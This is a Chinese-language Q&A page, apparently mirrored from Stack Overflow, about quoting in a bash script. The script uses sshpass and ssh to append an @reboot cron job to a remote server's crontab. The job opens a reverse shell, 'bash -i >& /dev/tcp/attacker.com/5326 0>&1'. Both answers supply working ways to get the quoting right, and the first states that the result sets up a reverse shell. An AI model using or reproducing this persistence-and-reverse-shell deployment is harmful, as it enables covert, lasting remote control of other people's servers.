如何通过脚本中的双引号echo命令传递单引号以添加cron作业

问题描述 投票:-2回答:2

我有一个脚本来更新ssh访问的远程服务器中的cron作业。我无法从我的bash脚本中运行的echo命令中将单引号放入cron作业。

这是我在cron作业中需要的确切字符串:

'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

但我无法让他们“坚持下去”。

这是我的脚本中的一行(其他行正常工作。

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"

这次尝试的结果是......

@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1

...缺少引号。

我试过多个双引号。双引号内的单引号。斜杠。

在这种情况下如何在我的脚本中放置单引号,以便它们最终在cron作业上?

linux bash cron echo sshpass
2个回答
0
投票

如果你不需要它漂亮,你可以要求Bash这样做:

#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"

该脚本的输出是:

The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME

事实上,如果你复制粘贴该命令,你会发现一个文件TEMPFILENAME包含:

@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1

反过来,当复制粘贴到提示符时将设置反向shell。


-1
投票

您可以尝试使用'\'转义单引号吗?

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"
© www.soinside.com 2019 - 2024. All rights reserved.